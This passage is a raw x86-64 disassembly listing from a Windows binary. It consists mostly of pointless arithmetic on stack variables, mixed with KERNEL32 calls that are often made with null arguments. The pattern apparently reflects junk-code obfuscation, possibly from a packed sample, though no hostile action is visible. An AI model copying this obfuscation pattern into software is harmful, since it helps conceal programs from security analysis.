mov eax, dword [rax]
mov ecx, dword [rsp + 0x9950]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8860], eax
lea rax, [rsp + 0x1c8]
mov qword [rsp + 0x13e98], rax
movzx eax, word [rsp + 0x2b8c]
mov rcx, qword [rsp + 0x13960]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2bf0], ax
mov eax, dword [rsp + 0x9b08]
mov ecx, dword [rsp + 0x9ae8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b30], eax
mov eax, dword [rsp + 0x7074]
mov dword [rsp + 0x9d28], eax
mov rax, qword [rsp + 0x13c48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9198]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9cc4], eax
lea rax, [0x14036246c]
mov qword [rsp + 0x13ea0], rax
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c0c]
sub eax, ecx
mov word [rsp + 0x2b8c], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rax, [rsp + 0x204]
mov qword [0x140369e20], rax
mov rax, qword [rsp + 0x13850]
mov rcx, qword [rsp + 0x13270]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9abc], eax
mov rax, qword [rsp + 0x13328]
mov rcx, qword [rsp + 0x13730]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8754], eax
mov eax, dword [rsp + 0x9cc0]
mov ecx, dword [rsp + 0x9198]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b20], eax
mov eax, dword [rsp + 0x9bfc]
mov dword [rsp + 0x9d2c], eax
mov eax, dword [rsp + 0x9c38]
movzx ecx, al
mov eax, dword [rsp + 0x81d0]
sar eax, cl
mov rcx, qword [rsp + 0x132c8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6f8]
movsx ecx, byte [0x140363edd]
shl eax, cl
mov rcx, qword [rsp + 0x13788]
mov byte [rcx], al
movsx eax, word [rsp + 0x2bc8]
mov rcx, qword [rsp + 0x13268]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x28b4], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9d30], eax
movzx eax, byte [rsp + 0x337]
mov rcx, qword [rsp + 0x13d10]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x13288]
mov byte [rcx], al
movzx eax, word [rsp + 0x1310]
movzx ecx, word [rsp + 0x2b98]
imul eax, ecx
mov word [0x140369b74], ax
mov eax, dword [rsp + 0x9c54]
mov dword [rsp + 0x9d34], eax
mov rax, qword [rsp + 0x12f48]
mov rcx, qword [rsp + 0x13298]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x135b0]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x4b370]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9cb0], eax
movzx eax, word [rsp + 0x18cc]
mov word [rsp + 0x2c50], ax
movzx eax, byte [rsp + 0x2b0]
mov rcx, qword [rsp + 0x13a90]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x746], al
mov eax, dword [rsp + 0x9bc4]
mov ecx, dword [rsp + 0x9d04]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f0], eax
lea rax, [rsp + 0x97b4]
mov qword [rsp + 0x13ea8], rax
mov eax, dword [rsp + 0x8f50]
mov ecx, dword [rsp + 0x6278]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x94d0], eax
mov rax, qword [rsp + 0x13da8]
mov ecx, dword [rsp + 0x9c44]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x57e8], eax
lea rax, [rsp + 0x1bd4]
mov qword [0x140369e28], rax
movzx eax, byte [rsp + 0x120]
imul eax, eax, 0xdc
mov byte [rsp + 0x752], al
mov rax, qword [rsp + 0x13df0]
mov rcx, qword [rsp + 0x12d68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
lea rax, [rsp + 0x9c20]
mov qword [rsp + 0x13eb0], rax
mov rcx, qword [rsp + 0x12ee0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x12f60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13bb0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x13dc8]
movzx eax, word [rax]
mov word [rsp + 0x2c54], ax
mov rax, qword [0x140369be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x703]
add eax, ecx
mov byte [rsp + 0x678], al
mov rax, qword [rsp + 0x13410]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x131e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x135c8]
mov word [rcx], ax
mov eax, dword [0x140369de4]
mov ecx, dword [rsp + 0x69c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8654], eax
mov eax, dword [rsp + 0x8ca0]
mov dword [0x140369e30], eax
mov eax, dword [rsp + 0x8860]
mov ecx, dword [rsp + 0x997c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x82a8], eax
mov rax, qword [rsp + 0x130a8]
mov eax, dword [rax]
mov dword [rsp + 0x9d38], eax
mov eax, dword [rsp + 0x9cbc]
mov rcx, qword [0x140369cf0]
mov qword [rsp + 0x13eb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13eb8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13ac0]
mov dword [rcx], eax
lea rax, [rsp + 0x74e]
mov qword [rsp + 0x13ec0], rax
mov rcx, qword [rsp + 0x133f8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x13110]
movzx eax, word [rax]
cdq
mov ecx, 0x728
idiv ecx
mov word [rsp + 0x2bd0], ax
mov rax, qword [rsp + 0x13b98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x133d0]
mov qword [rsp + 0x13ec8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13ec8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x99e8], eax
mov rax, qword [rsp + 0x13ab0]
mov rcx, qword [rsp + 0x13700]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6234], eax
mov rax, qword [rsp + 0x13580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8860]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c8c], eax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c94]
sub ecx, eax
mov eax, ecx
mov dword [0x140369da8], eax
lea rax, [rsp + 0x2c30]
mov qword [rsp + 0x13ed0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9d3c], eax
mov rax, qword [rsp + 0x13170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f3]
add eax, ecx
mov byte [rsp + 0x745], al
mov rax, qword [rsp + 0x13958]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12ec8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c04], ax
movzx eax, byte [rsp + 0x73e]
mov byte [rsp + 0x760], al
mov rax, qword [rsp + 0x12f68]
mov eax, dword [rax]
mov ecx, dword [0x140369c64]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13368]
mov dword [rcx], eax
lea rax, [rsp + 0x9bac]
mov qword [rsp + 0x13ed8], rax
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
imul eax, eax, 0x8dd
mov word [rsp + 0x2b98], ax
mov rax, qword [rsp + 0x13918]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x130d8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x733], al
mov rax, qword [rsp + 0x138c0]
mov rcx, qword [rsp + 0x13518]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140362474], eax
mov eax, dword [0x140362470]
mov dword [rsp + 0x9d40], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0x13c18]
mov ecx, dword [rsp + 0x63d4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8fa4], eax
lea rax, [rsp + 0x9c0c]
mov qword [rsp + 0x13ee0], rax
mov rax, qword [rsp + 0x12f90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x147]
and eax, ecx
mov byte [rsp + 0x13c], al
mov rax, qword [rsp + 0x13e18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf0]
sub eax, ecx
mov rcx, qword [rsp + 0x12f18]
mov word [rcx], ax
mov rax, qword [rsp + 0x13e28]
mov rcx, qword [rsp + 0x136c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9534], eax
mov rax, qword [rsp + 0x13660]
mov eax, dword [rax]
mov rcx, qword [0x140369c78]
mov qword [rsp + 0x13ee8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13ee8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x134e8]
mov dword [rcx], eax
lea rax, [rsp + 0x8e2c]
mov qword [rsp + 0x13ef0], rax
mov eax, dword [rsp + 0x9aa0]
mov dword [0x140369e34], eax
mov rax, qword [rsp + 0x137f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140369de0]
sar eax, cl
mov rcx, qword [rsp + 0x13e20]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2bc8]
mov word [rsp + 0x2c58], ax
mov rax, qword [rsp + 0x12f60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x139c0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x748], al
movzx eax, byte [rsp + 0x337]
movzx ecx, byte [rsp + 0x75d]
and eax, ecx
mov rcx, qword [rsp + 0x13ce8]
mov byte [rcx], al
movzx eax, word [rsp + 0x18cc]
mov rcx, qword [rsp + 0x13110]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17e8], ax
mov rax, qword [rsp + 0x134f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7074]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d38], eax
mov rax, qword [rsp + 0x139b8]
mov eax, dword [rax]
mov dword [rsp + 0x9d44], eax
movzx eax, word [rsp + 0x2a94]
mov rcx, qword [rsp + 0x130a0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13dd0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1b8]
mov rcx, qword [0x140369d00]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140363f0f], al
mov rax, qword [rsp + 0x12f00]
mov rcx, qword [rsp + 0x137e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x134a0]
mov dword [rcx], eax
lea rax, [rsp + 0x9cfc]
mov qword [rsp + 0x13ef8], rax
mov rax, qword [rsp + 0x13690]
mov rcx, qword [rsp + 0x12fa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9aac], eax
mov rcx, qword [rsp + 0x13168]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x13338]
mov eax, dword [rax]
mov dword [rsp + 0x9d48], eax
movzx eax, byte [rsp + 0x747]
mov rcx, qword [rsp + 0x13ec0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x361], al
movzx eax, word [rsp + 0x2bb0]
movzx ecx, word [rsp + 0x1dc8]
add eax, ecx
mov word [rsp + 0x1588], ax
mov eax, dword [rsp + 0x9ae4]
mov ecx, dword [rsp + 0x9a78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb0], eax
mov rax, qword [rsp + 0x13720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a30]
mov dword [rcx], eax
lea rax, [rsp + 0x1938]
mov qword [0x140369e38], rax
lea rax, [rsp + 0xe3]
mov qword [rsp + 0x13f00], rax
movzx eax, byte [rsp + 0x734]
movzx ecx, byte [rsp + 0x752]
xor eax, ecx
mov rcx, qword [rsp + 0x13170]
mov byte [rcx], al
lea rax, [0x140369df8]
mov qword [rsp + 0x13f08], rax
mov eax, dword [rsp + 0x9b58]
mov rcx, qword [rsp + 0x134e0]
mov qword [rsp + 0x13f10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x134a0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x13078]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x13778]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12ed8]
mov qword [rsp + 0x13f18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13f18]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x133a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x997c]
mov dword [rsp + 0x9d4c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.tegLErpl0pkw
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13f20], rax
mov rax, qword [rsp + 0x13b50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b44]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13828]
mov rcx, qword [rsp + 0x13030]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x873c], eax
movzx eax, word [rsp + 0x2234]
mov rcx, qword [rsp + 0x133d8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13138]
mov word [rcx], ax
mov rcx, qword [rsp + 0x12be8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13710]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [str.f_t_], al
mov rax, qword [0x140369e18]
mov ecx, dword [rsp + 0x709c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9d28], eax
lea rax, [rsp + 0x58d4]
mov qword [rsp + 0x13f28], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b80], eax
mov rax, qword [rsp + 0x13e68]
mov rcx, qword [rsp + 0x131b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13b38]
mov dword [rcx], eax
lea rax, [0x140369ce0]
mov qword [rsp + 0x13f30], rax
mov rax, qword [rsp + 0x13650]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74a]
sub eax, ecx
mov byte [rsp + 0x3d2], al
mov rax, qword [rsp + 0x138e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13c70]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c3c], ax
lea rax, [0x140369c60]
mov qword [rsp + 0x13f38], rax
movsx eax, byte [rsp + 0x756]
imul eax, eax, 0x21
mov byte [rsp + 0x730], al
mov rax, qword [rsp + 0x12d28]
mov eax, dword [rax]
mov dword [0x140369e40], eax
mov eax, dword [0x140369c28]
mov dword [rsp + 0x9d50], eax
lea rdx, [rsp + 0x42df0]
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a44], eax
movzx eax, byte [rsp + 0x23a]
mov rcx, qword [rsp + 0x13ab8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x131d8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b9c]
mov rcx, qword [rsp + 0x13e00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x280c], ax
mov eax, dword [0x140369da8]
mov dword [rsp + 0x9d54], eax
mov rax, qword [rsp + 0x13948]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9a84]
shl eax, cl
mov rcx, qword [rsp + 0x135f8]
mov dword [rcx], eax
lea rax, [rsp + 0x9ab4]
mov qword [rsp + 0x13f40], rax
mov rax, qword [rsp + 0x132a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9bb0]
sar eax, cl
mov dword [rsp + 0x9ab4], eax
movzx eax, byte [rsp + 0x70d]
mov rcx, qword [rsp + 0x13980]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x49b], al
movzx eax, word [rsp + 0x2c50]
movzx ecx, word [rsp + 0x2be8]
and eax, ecx
mov word [0x140362468], ax
mov rax, qword [rsp + 0x13bc0]
mov ecx, dword [rsp + 0x9808]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a9c], eax
mov rax, qword [rsp + 0x135d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57e8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x59cc], eax
lea rax, [rsp + 0x8880]
mov qword [rsp + 0x13f48], rax
mov rax, qword [rsp + 0x13408]
mov ecx, dword [rsp + 0x9c20]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9d18], eax
mov rax, qword [rsp + 0x13320]
mov eax, dword [rax]
mov dword [rsp + 0x9d58], eax
movsx eax, byte [rsp + 0x756]
mov rcx, qword [0x140369bf0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2d1], al
mov rax, qword [rsp + 0x12fa8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13098]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ba0], ax
movzx eax, byte [rsp + 0x741]
mov rcx, qword [rsp + 0x13ab8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x21a], al
lea rax, [0x140369df8]
mov qword [0x140369e48], rax
mov rax, qword [rsp + 0x12f68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9abc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12de0]
mov dword [rcx], eax
lea rax, [rsp + 0x6f2c]
mov qword [rsp + 0x13f50], rax
mov rax, qword [rsp + 0x132e8]
movzx eax, byte [rax]
mov rcx, qword [0x140369d98]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13038]
mov byte [rcx], al
mov edx, 0x236b
mov rcx, qword [rsp + 0x13458]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9c14], eax
movzx eax, word [rsp + 0x2bac]
mov rcx, qword [rsp + 0x13e18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29ac], ax
lea rax, [rsp + 0x59fc]
mov qword [rsp + 0x13f58], rax
mov eax, dword [rsp + 0x97b4]
mov ecx, dword [rsp + 0x9bdc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9aec], eax
lea rax, [rsp + 0x53f0]
mov qword [rsp + 0x13f60], rax
mov eax, dword [rsp + 0x9c08]
movzx ecx, al
mov eax, dword [rsp + 0x84ac]
shl eax, cl
mov dword [rsp + 0x64b0], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4b130]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9bd4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x13f68], rax
mov rax, qword [0x140369c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13c60]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x140369e28]
mov word [rcx], ax
mov rax, qword [rsp + 0x13e70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13d10]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x132a0]
mov byte [rcx], al
lea rax, [rsp + 0x6588]
mov qword [rsp + 0x13f70], rax
mov rax, qword [rsp + 0x12ea8]
mov eax, dword [rax]
mov ecx, dword [0x140369de0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13d48]
movzx eax, byte [rax]
mov byte [rsp + 0x761], al
mov rax, qword [rsp + 0x13a80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c04]
and eax, ecx
mov word [rsp + 0x1640], ax
movzx eax, word [rsp + 0x2bec]
mov rcx, qword [rsp + 0x13b58]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1fe4], ax
movzx eax, byte [rsp + 0x266]
mov rcx, qword [rsp + 0x13950]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x741], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a8c], eax
mov eax, dword [rsp + 0x9b50]
mov ecx, dword [rsp + 0x91dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13080]
mov dword [rcx], eax
lea rax, [rsp + 0x9b38]
mov qword [0x140369e50], rax
mov rax, qword [rsp + 0x13f60]
mov eax, dword [rax]
mov dword [rsp + 0x9d5c], eax
mov eax, dword [0x140369ce0]
mov ecx, dword [rsp + 0x9bb8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x135f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9ce4]
mov dword [rsp + 0x9d60], eax
mov rax, qword [rsp + 0x13b20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13138]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x138f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x72f]
movzx ecx, byte [0x140363f0f]
sub eax, ecx
mov rcx, qword [rsp + 0x12fc0]
mov byte [rcx], al
lea rax, [rsp + 0x9a78]
mov qword [rsp + 0x13f78], rax
mov rax, qword [rsp + 0x13f50]
mov rcx, qword [rsp + 0x13ea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9bdc], eax
lea rax, [rsp + 0x81d0]
mov qword [rsp + 0x13f80], rax
mov eax, dword [rsp + 0x9a2c]
mov ecx, dword [0x140369c28]
add ecx, eax
mov eax, ecx
mov dword [0x140362478], eax
movzx eax, word [rsp + 0x2b88]
mov rcx, qword [rsp + 0x138a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1310], ax
movzx eax, byte [rsp + 0x4a8]
movzx ecx, byte [rsp + 0x74a]
add eax, ecx
mov rcx, qword [rsp + 0x130b8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x12cf0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x12f60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x736]
shl eax, cl
mov byte [rsp + 0x71b], al
mov rax, qword [rsp + 0x13148]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2008]
sar eax, cl
mov rcx, qword [rsp + 0x13e90]
mov word [rcx], ax
mov eax, dword [rsp + 0x5284]
mov dword [rsp + 0x9d64], eax
mov rax, qword [rsp + 0x130e8]
mov ecx, dword [rsp + 0x86e8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9d14], eax
lea rax, [rsp + 0x204]
mov qword [rsp + 0x13f88], rax
movzx eax, word [rsp + 0x17fc]
imul eax, eax, 0xee3
mov rcx, qword [rsp + 0x13960]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
lea rax, [rsp + 0x9ba8]
mov qword [0x140369e58], rax
mov eax, dword [rsp + 0x9d2c]
mov ecx, dword [rsp + 0x8340]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13838]
mov dword [rcx], eax
mov rax, qword [0x140369e50]
mov ecx, dword [rsp + 0x9bc0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7534], eax
mov rax, qword [rsp + 0x133c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9be4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a50], eax
lea rax, [rsp + 0x753]
mov qword [rsp + 0x13f90], rax
movzx eax, word [0x140369df8]
mov rcx, qword [rsp + 0x13d50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c2c], ax
mov rax, qword [rsp + 0x132e0]
mov ecx, dword [rsp + 0x8e74]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9cc0], eax
lea rax, [rsp + 0x9c70]
mov qword [rsp + 0x13f98], rax
mov eax, dword [rsp + 0x9c04]
mov ecx, dword [rsp + 0x9d34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9cc8], eax
mov rax, qword [rsp + 0x13b38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57e8]
and ecx, eax
mov eax, ecx
mov dword [0x140369e30], eax
mov rax, qword [rsp + 0x13b40]
mov eax, dword [rax]
mov dword [rsp + 0x9d68], eax
movsx eax, byte [rsp + 0x730]
movsx ecx, byte [rsp + 0x751]
add eax, ecx
mov rcx, qword [rsp + 0x13bf8]
mov byte [rcx], al
movsx eax, word [rsp + 0x2c10]
mov rcx, qword [rsp + 0x12e98]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ba0], ax
mov rcx, qword [rsp + 0x133e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9d6c], eax
lea rax, [rsp + 0x2c14]
mov qword [rsp + 0x13fa0], rax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13650]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13990]
mov byte [rcx], al
lea rax, [rsp + 0x9b48]
mov qword [rsp + 0x13fa8], rax
mov rax, qword [0x140369c78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9d4c]
sar eax, cl
mov dword [rsp + 0x9bec], eax
movzx eax, word [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x133d8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13898]
mov word [rcx], ax
movzx eax, byte [rsp + 0x741]
mov rcx, qword [0x140369db0]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [0x1403525ba], al
mov eax, dword [rsp + 0x9d24]
mov dword [rsp + 0x9d70], eax
mov rax, qword [rsp + 0x13720]
mov rcx, qword [rsp + 0x13870]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9cb4], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea rax, [rsp + 0x63d4]
mov qword [rsp + 0x13fb0], rax
mov edx, 0x121
mov rcx, qword [rsp + 0x13168]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9ab8], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0x7770]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13270]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2c48]
mov rcx, qword [rsp + 0x12ff8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x18f4], ax
movzx eax, byte [rsp + 0x1f3]
mov rcx, qword [0x140369d00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x37f], al
mov rax, qword [rsp + 0x13040]
mov rcx, qword [rsp + 0x13328]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9b18], eax
mov eax, dword [rsp + 0x601c]
mov dword [rsp + 0x9d74], eax
movsx eax, byte [rsp + 0x512]
movsx ecx, byte [rsp + 0x71b]
and eax, ecx
mov byte [0x140363f0c], al
mov rax, qword [rsp + 0x13dc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13008]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1570], ax
movzx eax, word [rsp + 0x2740]
mov rcx, qword [rsp + 0x13158]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x204c], ax
movzx eax, byte [rsp + 0x72b]
movzx ecx, byte [rsp + 0x3d2]
or eax, ecx
mov rcx, qword [rsp + 0x132a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13d68]
mov rcx, qword [rsp + 0x13700]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a9c]
mov dword [rsp + 0x9d78], eax
mov rax, qword [rsp + 0x13ba0]
mov rcx, qword [rsp + 0x13988]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a84], eax
mov rax, qword [rsp + 0x13df8]
mov eax, dword [rax]
